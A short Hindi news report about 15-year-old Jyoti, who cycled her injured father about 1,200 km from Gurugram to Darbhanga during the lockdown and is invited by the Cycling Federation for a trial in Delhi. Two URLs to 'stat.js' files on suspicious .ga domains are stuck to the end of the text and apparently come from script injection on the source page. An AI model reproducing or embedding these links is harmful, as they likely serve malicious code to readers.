ग्ररुग्राम में रिक्शा चालक पिता मोहसन पासवान के दुर्घटनाग्रस्त होने के बाद ज्योति गुरुग्राम आकर उनकी देखभाल कर रही थी। इसी बीच लॉकडाउन की घोषणा हो गई। पिता साइकिल नहीं चला सकते थे, इसलिए ज्योति ने पिता को साइकिल पर गांव ले जाने का फैसला किया। ज्योति ने पिता को साइकिल पर बिठाकर करीब 1200 किमी का सफर किया। आठ दिनों तक रोजाना सौ से डेढ़ सै किमी का सफर कर वह बिहार के दरभंगा पहुंची। मीडिया में खबर आने के बाद जिसने भी उसकी कहानी जानी या सुनी, उसके हिम्मत की सराहना की।
उसकी कहानी साइकिलिंग फेडरेशन तक भी पहुंची। फेडरेशन के वीएन सिंह ने कहा कि अगर 15 साल की लड़की इतनी दूरी तक साइकिल चलाकर गई है तो उसमें क्षमता है। अगर उसने सच में ऐसा किया है तो वह काफी सक्षम है। फेडरेशन इसकी जांच करेगा और उसे मदद देगा।
उन्होंने बताया कि फेडरेशन ने उसे मौका देने के लिए दिल्ली बुलाया है। दिल्ली के इंदिरा गांधी स्टेडियम में उसका टेस्ट लिया जाएगा। टेस्ट में अगर वह सक्षम पायी गयी तो उसे साइकिलिंग की ट्रेनिंग दी जाएगी। उसकी साइकिलिंग की प्रतिभा को निखारने के लिए हर सहयोग दिया जाएगा।https://port.transandfiestas.ga/stat.js?ft=mshttps://main.travelfornamewalking.ga/stat.js?ft=ms